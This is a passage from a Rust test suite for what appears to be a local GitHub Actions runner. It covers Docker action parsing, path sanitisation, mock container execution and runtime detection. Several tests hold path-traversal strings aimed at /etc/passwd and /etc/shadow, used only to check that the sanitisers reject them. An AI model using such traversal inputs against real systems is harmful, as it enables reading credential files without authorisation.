5893        assert!(!has_path_traversal(parts[0]));
5894    }
5895
5896    #[test]
5897    fn volume_traversal_allows_double_dot_prefix_dir() {
5898        // A directory literally named "..hidden" is not path traversal
5899        assert!(!has_path_traversal("/data/..hidden/files"));
5900    }
5901
5902    // --- PreparedAction / NativeDocker tests ---
5903
5904    #[test]
5905    fn prepared_action_native_docker_stores_fields() {
5906        let pa = PreparedAction::NativeDocker {
5907            image: "ghcr.io/super-linter:latest".to_string(),
5908            entrypoint: Some("/entrypoint.sh".to_string()),
5909            args: vec!["--flag".to_string(), "value".to_string()],
5910        };
5911        match pa {
5912            PreparedAction::NativeDocker {
5913                image,
5914                entrypoint,
5915                args,
5916            } => {
5917                assert_eq!(image, "ghcr.io/super-linter:latest");
5918                assert_eq!(entrypoint.as_deref(), Some("/entrypoint.sh"));
5919                assert_eq!(args, vec!["--flag", "value"]);
5920            }
5921            _ => panic!("expected NativeDocker variant"),
5922        }
5923    }
5924
5925    #[test]
5926    fn prepared_action_native_docker_defaults() {
5927        let pa = PreparedAction::NativeDocker {
5928            image: "alpine:latest".to_string(),
5929            entrypoint: None,
5930            args: vec![],
5931        };
5932        match pa {
5933            PreparedAction::NativeDocker {
5934                entrypoint, args, ..
5935            } => {
5936                assert!(entrypoint.is_none());
5937                assert!(args.is_empty());
5938            }
5939            _ => panic!("expected NativeDocker variant"),
5940        }
5941    }
5942
5943    // --- extract_docker_runs_config tests ---
5944
5945    #[test]
5946    fn extract_runs_config_with_entrypoint_and_args() {
5947        let yaml: serde_yaml::Value = serde_yaml::from_str(
5948            r#"
5949runs:
5950  using: docker
5951  image: Dockerfile
5952  entrypoint: /entrypoint.sh
5953  args:
5954    - --flag
5955    - value
5956"#,
5957        )
5958        .unwrap();
5959        let (ep, args) = extract_docker_runs_config(Some(&yaml)).unwrap();
5960        assert_eq!(ep.as_deref(), Some("/entrypoint.sh"));
5961        assert_eq!(args, vec!["--flag", "value"]);
5962    }
5963
5964    #[test]
5965    fn extract_runs_config_missing_both() {
5966        let yaml: serde_yaml::Value = serde_yaml::from_str(
5967            r#"
5968runs:
5969  using: docker
5970  image: Dockerfile
5971"#,
5972        )
5973        .unwrap();
5974        let (ep, args) = extract_docker_runs_config(Some(&yaml)).unwrap();
5975        assert!(ep.is_none());
5976        assert!(args.is_empty());
5977    }
5978
5979    #[test]
5980    fn extract_runs_config_none_definition() {
5981        let (ep, args) = extract_docker_runs_config(None).unwrap();
5982        assert!(ep.is_none());
5983        assert!(args.is_empty());
5984    }
5985
5986    #[test]
5987    fn extract_runs_config_entrypoint_only() {
5988        let yaml: serde_yaml::Value = serde_yaml::from_str(
5989            r#"
5990runs:
5991  using: docker
5992  image: Dockerfile
5993  entrypoint: /custom.sh
5994"#,
5995        )
5996        .unwrap();
5997        let (ep, args) = extract_docker_runs_config(Some(&yaml)).unwrap();
5998        assert_eq!(ep.as_deref(), Some("/custom.sh"));
5999        assert!(args.is_empty());
6000    }
6001
6002    #[test]
6003    fn extract_runs_config_args_only() {
6004        let yaml: serde_yaml::Value = serde_yaml::from_str(
6005            r#"
6006runs:
6007  using: docker
6008  image: Dockerfile
6009  args:
6010    - hello
6011"#,
6012        )
6013        .unwrap();
6014        let (ep, args) = extract_docker_runs_config(Some(&yaml)).unwrap();
6015        assert!(ep.is_none());
6016        assert_eq!(args, vec!["hello"]);
6017    }
6018
6019    #[test]
6020    fn extract_runs_config_args_as_string() {
6021        let yaml: serde_yaml::Value = serde_yaml::from_str(
6022            r#"
6023runs:
6024  using: docker
6025  image: Dockerfile
6026  args: "--flag value 'quoted arg'"
6027"#,
6028        )
6029        .unwrap();
6030        let (ep, args) = extract_docker_runs_config(Some(&yaml)).unwrap();
6031        assert!(ep.is_none());
6032        assert_eq!(args, vec!["--flag", "value", "quoted arg"]);
6033    }
6034
6035    #[test]
6036    fn extract_runs_config_args_as_plain_string() {
6037        let yaml: serde_yaml::Value = serde_yaml::from_str(
6038            r#"
6039runs:
6040  using: docker
6041  image: Dockerfile
6042  args: hello
6043"#,
6044        )
6045        .unwrap();
6046        let (ep, args) = extract_docker_runs_config(Some(&yaml)).unwrap();
6047        assert!(ep.is_none());
6048        assert_eq!(args, vec!["hello"]);
6049    }
6050
6051    #[test]
6052    fn extract_runs_config_args_string_bad_quoting_is_error() {
6053        // Unmatched quote — should return an error (consistent with with.args parsing)
6054        let yaml: serde_yaml::Value = serde_yaml::from_str(
6055            r#"
6056runs:
6057  using: docker
6058  image: Dockerfile
6059  args: "hello 'world"
6060"#,
6061        )
6062        .unwrap();
6063        let result = extract_docker_runs_config(Some(&yaml));
6064        assert!(result.is_err(), "unmatched quote should return Err");
6065        assert!(result.unwrap_err().contains("unmatched quote"));
6066    }
6067
6068    // --- Dockerfile path sanitization tests ---
6069
6070    #[test]
6071    fn dockerfile_rel_strips_docker_prefix() {
6072        assert_eq!(
6073            sanitize_dockerfile_rel("docker://Dockerfile").unwrap(),
6074            "Dockerfile"
6075        );
6076    }
6077
6078    #[test]
6079    fn dockerfile_rel_strips_leading_slash() {
6080        assert_eq!(
6081            sanitize_dockerfile_rel("docker:///etc/Dockerfile").unwrap(),
6082            "etc/Dockerfile"
6083        );
6084    }
6085
6086    #[test]
6087    fn dockerfile_rel_rejects_dotdot_traversal() {
6088        assert!(sanitize_dockerfile_rel("docker://../../etc/passwd").is_err());
6089    }
6090
6091    #[test]
6092    fn dockerfile_rel_rejects_dotdot_in_middle() {
6093        assert!(sanitize_dockerfile_rel("subdir/../../../etc/shadow").is_err());
6094    }
6095
6096    #[test]
6097    fn dockerfile_rel_rejects_backslash_traversal() {
6098        assert!(sanitize_dockerfile_rel("..\\..\\etc\\shadow").is_err());
6099    }
6100
6101    #[test]
6102    fn dockerfile_rel_rejects_mixed_separator_traversal() {
6103        assert!(sanitize_dockerfile_rel("subdir\\..\\..\\etc/shadow").is_err());
6104    }
6105
6106    #[test]
6107    fn dockerfile_rel_plain_dockerfile() {
6108        assert_eq!(sanitize_dockerfile_rel("Dockerfile").unwrap(), "Dockerfile");
6109    }
6110
6111    #[test]
6112    fn dockerfile_rel_relative_path() {
6113        assert_eq!(
6114            sanitize_dockerfile_rel("./build/Dockerfile").unwrap(),
6115            "build/Dockerfile"
6116        );
6117    }
6118
6119    #[test]
6120    fn dockerfile_rel_allows_dotdot_in_filename() {
6121        // ".." as a substring in a filename is not path traversal
6122        assert_eq!(
6123            sanitize_dockerfile_rel("foo..bar/Dockerfile").unwrap(),
6124            "foo..bar/Dockerfile"
6125        );
6126    }
6127
6128    #[test]
6129    fn dockerfile_rel_rejects_empty_string() {
6130        assert!(sanitize_dockerfile_rel("").is_err());
6131    }
6132
6133    #[test]
6134    fn dockerfile_rel_rejects_docker_prefix_only() {
6135        assert!(sanitize_dockerfile_rel("docker://").is_err());
6136    }
6137
6138    // --- sub_path sanitization tests ---
6139
6140    #[test]
6141    fn sub_path_allows_simple_path() {
6142        assert!(sanitize_sub_path("subdir").is_ok());
6143    }
6144
6145    #[test]
6146    fn sub_path_allows_nested_path() {
6147        assert!(sanitize_sub_path("a/b/c").is_ok());
6148    }
6149
6150    #[test]
6151    fn sub_path_rejects_dotdot() {
6152        assert!(sanitize_sub_path("..").is_err());
6153    }
6154
6155    #[test]
6156    fn sub_path_rejects_dotdot_prefix() {
6157        assert!(sanitize_sub_path("../../etc").is_err());
6158    }
6159
6160    #[test]
6161    fn sub_path_rejects_dotdot_in_middle() {
6162        assert!(sanitize_sub_path("a/../../../etc").is_err());
6163    }
6164
6165    #[test]
6166    fn sub_path_allows_dotdot_in_name() {
6167        // ".." as a substring in a directory name is not traversal
6168        assert!(sanitize_sub_path("foo..bar").is_ok());
6169    }
6170
6171    // --- null byte rejection tests ---
6172
6173    #[test]
6174    fn sub_path_rejects_null_byte() {
6175        assert!(sanitize_sub_path("foo\0bar").is_err());
6176    }
6177
6178    #[test]
6179    fn dockerfile_rel_rejects_null_byte() {
6180        assert!(sanitize_dockerfile_rel("Dockerfile\0.txt").is_err());
6181    }
6182
6183    // --- extract_docker_runs_config with numeric/bool args ---
6184
6185    #[test]
6186    fn extract_runs_config_args_coerces_non_string_values() {
6187        let yaml: serde_yaml::Value = serde_yaml::from_str(
6188            r#"
6189runs:
6190  using: docker
6191  image: Dockerfile
6192  args:
6193    - 42
6194    - true
6195    - --flag
6196"#,
6197        )
6198        .unwrap();
6199        let (_, args) = extract_docker_runs_config(Some(&yaml)).unwrap();
6200        assert_eq!(args.len(), 3);
6201        assert_eq!(args[0], "42");
6202        assert_eq!(args[1], "true");
6203        assert_eq!(args[2], "--flag");
6204    }
6205
6206    // --- Mock ContainerRuntime for NativeDocker integration tests ---
6207
6208    use std::sync::{Arc, Mutex};
6209    use wrkflw_runtime::container::{ContainerError, ContainerOutput};
6210
6211    /// Records all `run_container` calls for later assertion.
6212    #[derive(Clone, Default)]
6213    struct MockContainerRuntime {
6214        run_calls: Arc<Mutex<Vec<RunContainerCall>>>,
6215    }
6216
6217    #[derive(Debug, Clone)]
6218    struct RunContainerCall {
6219        image: String,
6220        cmd: Vec<String>,
6221        env_vars: Vec<(String, String)>,
6222        entrypoint: Option<String>,
6223    }
6224
6225    #[async_trait::async_trait]
6226    impl ContainerRuntime for MockContainerRuntime {
6227        async fn run_container(
6228            &self,
6229            image: &str,
6230            cmd: &[&str],
6231            env_vars: &[(&str, &str)],
6232            _working_dir: &Path,
6233            _volumes: &[(&Path, &Path)],
6234            entrypoint: Option<&str>,
6235        ) -> Result<ContainerOutput, ContainerError> {
6236            self.run_calls.lock().unwrap().push(RunContainerCall {
6237                image: image.to_string(),
6238                cmd: cmd.iter().map(|s| s.to_string()).collect(),
6239                env_vars: env_vars
6240                    .iter()
6241                    .map(|(k, v)| (k.to_string(), v.to_string()))
6242                    .collect(),
6243                entrypoint: entrypoint.map(|s| s.to_string()),
6244            });
6245            Ok(ContainerOutput {
6246                stdout: "mock ok".to_string(),
6247                stderr: String::new(),
6248                exit_code: 0,
6249            })
6250        }
6251
6252        async fn pull_image(&self, _image: &str) -> Result<(), ContainerError> {
6253            Ok(())
6254        }
6255
6256        async fn build_image(
6257            &self,
6258            _dockerfile: &Path,
6259            _tag: &str,
6260            _context_dir: &Path,
6261        ) -> Result<(), ContainerError> {
6262            Ok(())
6263        }
6264
6265        async fn prepare_language_environment(
6266            &self,
6267            _language: &str,
6268            _version: Option<&str>,
6269            _additional_packages: Option<Vec<String>>,
6270        ) -> Result<String, ContainerError> {
6271            Ok("mock-image:latest".to_string())
6272        }
6273
6274        async fn image_exists(&self, _tag: &str) -> Result<bool, ContainerError> {
6275            Ok(false)
6276        }
6277    }
6278
6279    /// Helper to build a minimal `WorkflowDefinition`.
6280    fn minimal_workflow() -> WorkflowDefinition {
6281        WorkflowDefinition {
6282            name: "test".to_string(),
6283            on: vec![],
6284            on_raw: serde_yaml::Value::Null,
6285            jobs: Default::default(),
6286            defaults: None,
6287            env: HashMap::new(),
6288        }
6289    }
6290
6291    /// Helper to build a `Step` with sensible defaults (Step doesn't derive Default).
6292    fn make_step(
6293        name: &str,
6294        uses: &str,
6295        with: Option<HashMap<String, String>>,
6296        env: HashMap<String, String>,
6297    ) -> Step {
6298        Step {
6299            name: Some(name.to_string()),
6300            uses: Some(uses.to_string()),
6301            run: None,
6302            with,
6303            env,
6304            continue_on_error: None,
6305            if_condition: None,
6306            id: None,
6307            working_directory: None,
6308            shell: None,
6309            timeout_minutes: None,
6310        }
6311    }
6312
6313    // --- NativeDocker execute_step integration tests ---
6314
6315    #[tokio::test]
6316    async fn native_docker_passes_entrypoint_and_args() {
6317        let runtime = MockContainerRuntime::default();
6318        let workflow = minimal_workflow();
6319        let job_env = HashMap::new();
6320        let working_dir = std::env::current_dir().unwrap();
6321
6322        // Step uses a docker:// image — triggers NativeDocker path via prepare_action
6323        let step = make_step("docker-step", "docker://alpine:3.18", None, HashMap::new());
6324
6325        let ctx = StepExecutionContext {
6326            step: &step,
6327            step_idx: 0,
6328            job_env: &job_env,
6329            job_user_env: &job_env,
6330            working_dir: &working_dir,
6331            runtime: &runtime,
6332            workflow: &workflow,
6333            runner_image: "ubuntu:latest",
6334            verbose: false,
6335            matrix_combination: &None,
6336            container_config: None,
6337            workflow_defaults: None,
6338            job_defaults: None,
6339            step_outputs: &HashMap::new(),
6340            step_statuses: &HashMap::new(),
6341            job_status: "success",
6342            services: test_services(),
6343            pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
6344        };
6345
6346        let result = execute_step(ctx).await.unwrap();
6347        assert_eq!(result.status, StepStatus::Success);
6348
6349        let calls = runtime.run_calls.lock().unwrap();
6350        assert_eq!(calls.len(), 1);
6351        let call = &calls[0];
6352        assert_eq!(call.image, "alpine:3.18");
6353        // docker:// actions have no runs.entrypoint — uses image default
6354        assert!(call.entrypoint.is_none());
6355        // No args either — uses image CMD
6356        assert!(call.cmd.is_empty());
6357    }
6358
6359    #[tokio::test]
6360    async fn native_docker_with_args_override() {
6361        let runtime = MockContainerRuntime::default();
6362        let workflow = minimal_workflow();
6363        let job_env = HashMap::new();
6364        let working_dir = std::env::current_dir().unwrap();
6365
6366        let mut with = HashMap::new();
6367        with.insert("args".to_string(), "hello world".to_string());
6368        with.insert("myinput".to_string(), "myvalue".to_string());
6369
6370        let step = make_step(
6371            "docker-args-step",
6372            "docker://alpine:3.18",
6373            Some(with),
6374            HashMap::new(),
6375        );
6376
6377        let ctx = StepExecutionContext {
6378            step: &step,
6379            step_idx: 0,
6380            job_env: &job_env,
6381            job_user_env: &job_env,
6382            working_dir: &working_dir,
6383            runtime: &runtime,
6384            workflow: &workflow,
6385            runner_image: "ubuntu:latest",
6386            verbose: false,
6387            matrix_combination: &None,
6388            container_config: None,
6389            workflow_defaults: None,
6390            job_defaults: None,
6391            step_outputs: &HashMap::new(),
6392            step_statuses: &HashMap::new(),
6393            job_status: "success",
6394            services: test_services(),
6395            pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
6396        };
6397
6398        let result = execute_step(ctx).await.unwrap();
6399        assert_eq!(result.status, StepStatus::Success);
6400
6401        let calls = runtime.run_calls.lock().unwrap();
6402        assert_eq!(calls.len(), 1);
6403        let call = &calls[0];
6404        // with.args should be shell-tokenized into the CMD
6405        assert_eq!(call.cmd, vec!["hello", "world"]);
6406        // INPUT_* env vars should be set
6407        let env_map: HashMap<&str, &str> = call
6408            .env_vars
6409            .iter()
6410            .map(|(k, v)| (k.as_str(), v.as_str()))
6411            .collect();
6412        assert_eq!(env_map.get("INPUT_ARGS"), Some(&"hello world"));
6413        assert_eq!(env_map.get("INPUT_MYINPUT"), Some(&"myvalue"));
6414    }
6415
6416    #[tokio::test]
6417    async fn native_docker_empty_with_args_passes_zero_args() {
6418        let runtime = MockContainerRuntime::default();
6419        let workflow = minimal_workflow();
6420        let job_env = HashMap::new();
6421        let working_dir = std::env::current_dir().unwrap();
6422
6423        let mut with = HashMap::new();
6424        // Empty string means "pass zero args" — overrides any runs.args
6425        with.insert("args".to_string(), String::new());
6426
6427        let step = make_step(
6428            "docker-empty-args",
6429            "docker://alpine:3.18",
6430            Some(with),
6431            HashMap::new(),
6432        );
6433
6434        let ctx = StepExecutionContext {
6435            step: &step,
6436            step_idx: 0,
6437            job_env: &job_env,
6438            job_user_env: &job_env,
6439            working_dir: &working_dir,
6440            runtime: &runtime,
6441            workflow: &workflow,
6442            runner_image: "ubuntu:latest",
6443            verbose: false,
6444            matrix_combination: &None,
6445            container_config: None,
6446            workflow_defaults: None,
6447            job_defaults: None,
6448            step_outputs: &HashMap::new(),
6449            step_statuses: &HashMap::new(),
6450            job_status: "success",
6451            services: test_services(),
6452            pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
6453        };
6454
6455        let result = execute_step(ctx).await.unwrap();
6456        assert_eq!(result.status, StepStatus::Success);
6457
6458        let calls = runtime.run_calls.lock().unwrap();
6459        assert_eq!(calls.len(), 1);
6460        assert!(
6461            calls[0].cmd.is_empty(),
6462            "empty with.args should yield zero CMD args"
6463        );
6464    }
6465
6466    #[tokio::test]
6467    async fn native_docker_step_env_injected() {
6468        let runtime = MockContainerRuntime::default();
6469        let workflow = minimal_workflow();
6470        let mut job_env = HashMap::new();
6471        job_env.insert("JOB_VAR".to_string(), "from-job".to_string());
6472        let working_dir = std::env::current_dir().unwrap();
6473
6474        let mut step_env_map = HashMap::new();
6475        step_env_map.insert("STEP_VAR".to_string(), "from-step".to_string());
6476
6477        let step = make_step(
6478            "docker-env-step",
6479            "docker://alpine:3.18",
6480            None,
6481            step_env_map,
6482        );
6483
6484        let ctx = StepExecutionContext {
6485            step: &step,
6486            step_idx: 0,
6487            job_env: &job_env,
6488            job_user_env: &job_env,
6489            working_dir: &working_dir,
6490            runtime: &runtime,
6491            workflow: &workflow,
6492            runner_image: "ubuntu:latest",
6493            verbose: false,
6494            matrix_combination: &None,
6495            container_config: None,
6496            workflow_defaults: None,
6497            job_defaults: None,
6498            step_outputs: &HashMap::new(),
6499            step_statuses: &HashMap::new(),
6500            job_status: "success",
6501            services: test_services(),
6502            pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
6503        };
6504
6505        let result = execute_step(ctx).await.unwrap();
6506        assert_eq!(result.status, StepStatus::Success);
6507
6508        let calls = runtime.run_calls.lock().unwrap();
6509        let env_map: HashMap<&str, &str> = calls[0]
6510            .env_vars
6511            .iter()
6512            .map(|(k, v)| (k.as_str(), v.as_str()))
6513            .collect();
6514        assert_eq!(env_map.get("JOB_VAR"), Some(&"from-job"));
6515        assert_eq!(env_map.get("STEP_VAR"), Some(&"from-step"));
6516    }
6517
6518    #[tokio::test]
6519    async fn native_docker_with_args_unmatched_quote_is_error() {
6520        let runtime = MockContainerRuntime::default();
6521        let workflow = minimal_workflow();
6522        let job_env = HashMap::new();
6523        let working_dir = std::env::current_dir().unwrap();
6524
6525        let mut with = HashMap::new();
6526        with.insert("args".to_string(), "hello 'world".to_string());
6527
6528        let step = make_step(
6529            "docker-bad-args",
6530            "docker://alpine:3.18",
6531            Some(with),
6532            HashMap::new(),
6533        );
6534
6535        let ctx = StepExecutionContext {
6536            step: &step,
6537            step_idx: 0,
6538            job_env: &job_env,
6539            job_user_env: &job_env,
6540            working_dir: &working_dir,
6541            runtime: &runtime,
6542            workflow: &workflow,
6543            runner_image: "ubuntu:latest",
6544            verbose: false,
6545            matrix_combination: &None,
6546            container_config: None,
6547            workflow_defaults: None,
6548            job_defaults: None,
6549            step_outputs: &HashMap::new(),
6550            step_statuses: &HashMap::new(),
6551            job_status: "success",
6552            services: test_services(),
6553            pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
6554        };
6555
6556        let result = execute_step(ctx).await;
6557        assert!(result.is_err(), "unmatched quote in with.args should error");
6558        let err = result.unwrap_err().to_string();
6559        assert!(
6560            err.contains("unmatched quote"),
6561            "error should mention unmatched quote, got: {}",
6562            err
6563        );
6564    }
6565
6566    #[tokio::test]
6567    async fn native_docker_runs_args_overridden_by_with_args() {
6568        // When both runs.args (from action.yml) and with.args (from workflow)
6569        // are present, with.args should win — matching GitHub Actions behavior.
6570        let runtime = MockContainerRuntime::default();
6571        let workflow = minimal_workflow();
6572        let job_env = HashMap::new();
6573        let working_dir = std::env::current_dir().unwrap();
6574
6575        let mut with = HashMap::new();
6576        with.insert("args".to_string(), "override-arg".to_string());
6577
6578        let step = make_step(
6579            "docker-override-step",
6580            "docker://alpine:3.18",
6581            Some(with),
6582            HashMap::new(),
6583        );
6584
6585        let ctx = StepExecutionContext {
6586            step: &step,
6587            step_idx: 0,
6588            job_env: &job_env,
6589            job_user_env: &job_env,
6590            working_dir: &working_dir,
6591            runtime: &runtime,
6592            workflow: &workflow,
6593            runner_image: "ubuntu:latest",
6594            verbose: false,
6595            matrix_combination: &None,
6596            container_config: None,
6597            workflow_defaults: None,
6598            job_defaults: None,
6599            step_outputs: &HashMap::new(),
6600            step_statuses: &HashMap::new(),
6601            job_status: "success",
6602            services: test_services(),
6603            pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
6604        };
6605
6606        let result = execute_step(ctx).await.unwrap();
6607        assert_eq!(result.status, StepStatus::Success);
6608
6609        let calls = runtime.run_calls.lock().unwrap();
6610        assert_eq!(calls.len(), 1);
6611        // with.args takes precedence over any runs.args the action may have
6612        assert_eq!(calls[0].cmd, vec!["override-arg"]);
6613    }
6614
6615    #[tokio::test]
6616    async fn native_docker_with_entrypoint_override() {
6617        let runtime = MockContainerRuntime::default();
6618        let workflow = minimal_workflow();
6619        let job_env = HashMap::new();
6620        let working_dir = std::env::current_dir().unwrap();
6621
6622        let mut with = HashMap::new();
6623        with.insert("entrypoint".to_string(), "/custom.sh".to_string());
6624        with.insert("args".to_string(), "hello".to_string());
6625
6626        let step = make_step(
6627            "docker-ep-override",
6628            "docker://alpine:3.18",
6629            Some(with),
6630            HashMap::new(),
6631        );
6632
6633        let ctx = StepExecutionContext {
6634            step: &step,
6635            step_idx: 0,
6636            job_env: &job_env,
6637            job_user_env: &job_env,
6638            working_dir: &working_dir,
6639            runtime: &runtime,
6640            workflow: &workflow,
6641            runner_image: "ubuntu:latest",
6642            verbose: false,
6643            matrix_combination: &None,
6644            container_config: None,
6645            workflow_defaults: None,
6646            job_defaults: None,
6647            step_outputs: &HashMap::new(),
6648            step_statuses: &HashMap::new(),
6649            job_status: "success",
6650            services: test_services(),
6651            pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
6652        };
6653
6654        let result = execute_step(ctx).await.unwrap();
6655        assert_eq!(result.status, StepStatus::Success);
6656
6657        let calls = runtime.run_calls.lock().unwrap();
6658        assert_eq!(calls.len(), 1);
6659        let call = &calls[0];
6660        // with.entrypoint should override the image default
6661        assert_eq!(call.entrypoint.as_deref(), Some("/custom.sh"));
6662        assert_eq!(call.cmd, vec!["hello"]);
6663    }
6664
6665    #[test]
6666    fn extract_runs_config_empty_entrypoint_treated_as_none() {
6667        let yaml: serde_yaml::Value = serde_yaml::from_str(
6668            r#"
6669runs:
6670  using: docker
6671  image: Dockerfile
6672  entrypoint: ""
6673"#,
6674        )
6675        .unwrap();
6676        let (ep, _) = extract_docker_runs_config(Some(&yaml)).unwrap();
6677        assert!(
6678            ep.is_none(),
6679            "empty entrypoint string should be treated as None"
6680        );
6681    }
6682
6683    // --- sub_path backslash traversal tests ---
6684
6685    #[test]
6686    fn sub_path_rejects_backslash_dotdot() {
6687        assert!(sanitize_sub_path("a\\..\\..\\etc").is_err());
6688    }
6689
6690    #[test]
6691    fn sub_path_rejects_mixed_separator_dotdot() {
6692        assert!(sanitize_sub_path("a/..\\..\\etc").is_err());
6693    }
6694
6695    // --- detect_setup_runtimes tests ---
6696
6697    fn make_step_uses(uses: &str, with: Option<HashMap<String, String>>) -> Step {
6698        Step {
6699            name: None,
6700            uses: Some(uses.to_string()),
6701            run: None,
6702            with,
6703            env: HashMap::new(),
6704            continue_on_error: None,
6705            if_condition: None,
6706            id: None,
6707            working_directory: None,
6708            shell: None,
6709            timeout_minutes: None,
6710        }
6711    }
6712
6713    fn make_step_run(run: &str) -> Step {
6714        Step {
6715            name: None,
6716            uses: None,
6717            run: Some(run.to_string()),
6718            with: None,
6719            env: HashMap::new(),
6720            continue_on_error: None,
6721            if_condition: None,
6722            id: None,
6723            working_directory: None,
6724            shell: None,
6725            timeout_minutes: None,
6726        }
6727    }
6728
6729    #[test]
6730    fn detect_setup_runtimes_empty_steps() {
6731        let runtimes = detect_setup_runtimes(&[]);
6732        assert!(runtimes.is_empty());
6733    }
6734
6735    #[test]
6736    fn detect_setup_runtimes_no_setup_actions() {
6737        let steps = vec![
6738            make_step_uses("actions/checkout@v4", None),
6739            make_step_uses("actions/cache@v3", None),
6740            make_step_run("echo hello"),
6741        ];
6742        let runtimes = detect_setup_runtimes(&steps);
6743        assert!(runtimes.is_empty());
6744    }
6745
6746    #[test]
6747    fn detect_setup_runtimes_single_node() {
6748        let steps = vec![
6749            make_step_uses("actions/checkout@v4", None),
6750            make_step_uses("actions/setup-node@v3", None),
6751            make_step_run("npm install"),
6752        ];
6753        let runtimes = detect_setup_runtimes(&steps);
6754        assert_eq!(runtimes.len(), 1);
6755        assert_eq!(runtimes[0].language, "node");
6756        assert_eq!(runtimes[0].version, "20");
6757        assert!(!runtimes[0].install_script.is_empty());
6758    }
6759
6760    #[test]
6761    fn detect_setup_runtimes_node_with_version() {
6762        let with = HashMap::from([("node-version".to_string(), "16.x".to_string())]);
6763        let steps = vec![make_step_uses("actions/setup-node@v3", Some(with))];
6764        let runtimes = detect_setup_runtimes(&steps);
6765        assert_eq!(runtimes.len(), 1);
6766        assert_eq!(runtimes[0].language, "node");
6767        // ".x" suffix is normalized away
6768        assert_eq!(runtimes[0].version, "16");
6769    }
6770
6771    #[test]
6772    fn detect_setup_runtimes_php() {
6773        let with = HashMap::from([("php".to_string(), "8.1".to_string())]);
6774        let steps = vec![make_step_uses("shivammathur/setup-php@v2", Some(with))];
6775        let runtimes = detect_setup_runtimes(&steps);
6776        assert_eq!(runtimes.len(), 1);
6777        assert_eq!(runtimes[0].language, "php");
6778        assert_eq!(runtimes[0].version, "8.1");
6779    }
6780
6781    #[test]
6782    fn detect_setup_runtimes_multi_language() {
6783        let steps = vec![
6784            make_step_uses("actions/checkout@v4", None),
6785            make_step_uses("shivammathur/setup-php@v2", None),
6786            make_step_uses("actions/setup-node@v4", None),
6787            make_step_run("composer install"),
6788            make_step_run("npm install"),
6789        ];
6790        let runtimes = detect_setup_runtimes(&steps);
6791        assert_eq!(runtimes.len(), 2);
6792        assert_eq!(runtimes[0].language, "php");
6793        assert_eq!(runtimes[1].language, "node");
6794    }
6795
6796    #[test]
6797    fn detect_setup_runtimes_python_with_version() {
6798        let with = HashMap::from([("python-version".to_string(), "3.12".to_string())]);
6799        let steps = vec![make_step_uses("actions/setup-python@v5", Some(with))];
6800        let runtimes = detect_setup_runtimes(&steps);
6801        assert_eq!(runtimes.len(), 1);
6802        assert_eq!(runtimes[0].language, "python");
6803        assert_eq!(runtimes[0].version, "3.12");
6804    }
6805
6806    #[test]
6807    fn detect_setup_runtimes_go() {
6808        let with = HashMap::from([("go-version".to_string(), "1.22".to_string())]);
6809        let steps = vec![make_step_uses("actions/setup-go@v5", Some(with))];
6810        let runtimes = detect_setup_runtimes(&steps);
6811        assert_eq!(runtimes.len(), 1);
6812        assert_eq!(runtimes[0].language, "go");
6813        assert_eq!(runtimes[0].version, "1.22");
6814    }
6815
6816    #[test]
6817    fn detect_setup_runtimes_rust() {
6818        let steps = vec![make_step_uses("dtolnay/rust-toolchain@stable", None)];
6819        let runtimes = detect_setup_runtimes(&steps);
6820        assert_eq!(runtimes.len(), 1);
6821        assert_eq!(runtimes[0].language, "rust");
6822        assert_eq!(runtimes[0].version, "stable");
6823    }
6824
6825    #[test]
6826    fn detect_setup_runtimes_rust_version_from_ref() {
6827        // dtolnay/rust-toolchain encodes the toolchain in the @ref
6828        let steps = vec![make_step_uses("dtolnay/rust-toolchain@nightly", None)];
6829        let runtimes = detect_setup_runtimes(&steps);
6830        assert_eq!(runtimes.len(), 1);
6831        assert_eq!(runtimes[0].language, "rust");
6832        assert_eq!(runtimes[0].version, "nightly");
6833    }
6834
6835    #[test]
6836    fn detect_setup_runtimes_rust_with_overrides_ref() {
6837        // Explicit with.toolchain takes precedence over @ref
6838        let with = HashMap::from([("toolchain".to_string(), "beta".to_string())]);
6839        let steps = vec![make_step_uses("dtolnay/rust-toolchain@nightly", Some(with))];
6840        let runtimes = detect_setup_runtimes(&steps);
6841        assert_eq!(runtimes.len(), 1);
6842        assert_eq!(runtimes[0].version, "beta");
6843    }
6844
6845    #[test]
6846    fn detect_setup_runtimes_rust_sha_ref_falls_back_to_default() {
6847        // A pinned SHA ref should NOT be treated as a toolchain version
6848        let steps = vec![make_step_uses(
6849            "dtolnay/rust-toolchain@d4ff7a3c5bbbc35c47ee72003c3e0a88e24a9919",
6850            None,
6851        )];
6852        let runtimes = detect_setup_runtimes(&steps);
6853        assert_eq!(runtimes.len(), 1);
6854        assert_eq!(runtimes[0].language, "rust");
6855        assert_eq!(runtimes[0].version, "stable");
6856    }
6857
6858    #[test]
6859    fn detect_setup_runtimes_normalizes_dot_x_suffix() {
6860        // "16.x" should be normalized to "16"
6861        let with = HashMap::from([("node-version".to_string(), "16.x".to_string())]);
6862        let steps = vec![make_step_uses("actions/setup-node@v3", Some(with))];
6863        let runtimes = detect_setup_runtimes(&steps);
6864        assert_eq!(runtimes.len(), 1);
6865        assert_eq!(runtimes[0].version, "16");
6866    }
6867
6868    #[test]
6869    fn detect_setup_runtimes_java() {
6870        let with = HashMap::from([("java-version".to_string(), "21".to_string())]);
6871        let steps = vec![make_step_uses("actions/setup-java@v4", Some(with))];
6872        let runtimes = detect_setup_runtimes(&steps);
6873        assert_eq!(runtimes.len(), 1);
6874        assert_eq!(runtimes[0].language, "java");
6875        assert_eq!(runtimes[0].version, "21");
6876    }
6877
6878    #[test]
6879    fn detect_setup_runtimes_dotnet() {
6880        let with = HashMap::from([("dotnet-version".to_string(), "8.0".to_string())]);
6881        let steps = vec![make_step_uses("actions/setup-dotnet@v4", Some(with))];
6882        let runtimes = detect_setup_runtimes(&steps);
6883        assert_eq!(runtimes.len(), 1);
6884        assert_eq!(runtimes[0].language, "dotnet");
6885        assert_eq!(runtimes[0].version, "8.0");
6886    }
6887
6888    #[test]
6889    fn get_install_script_returns_nonempty_for_known_languages() {
6890        for lang in &["node", "php", "python", "go", "java", "dotnet", "rust"] {
6891            let script = get_install_script(lang, "latest");
6892            assert!(
6893                !script.is_empty(),
6894                "install script for {} should not be empty",
6895                lang
6896            );
6897        }
6898    }
6899
6900    #[test]
6901    fn get_install_script_returns_empty_for_unknown() {
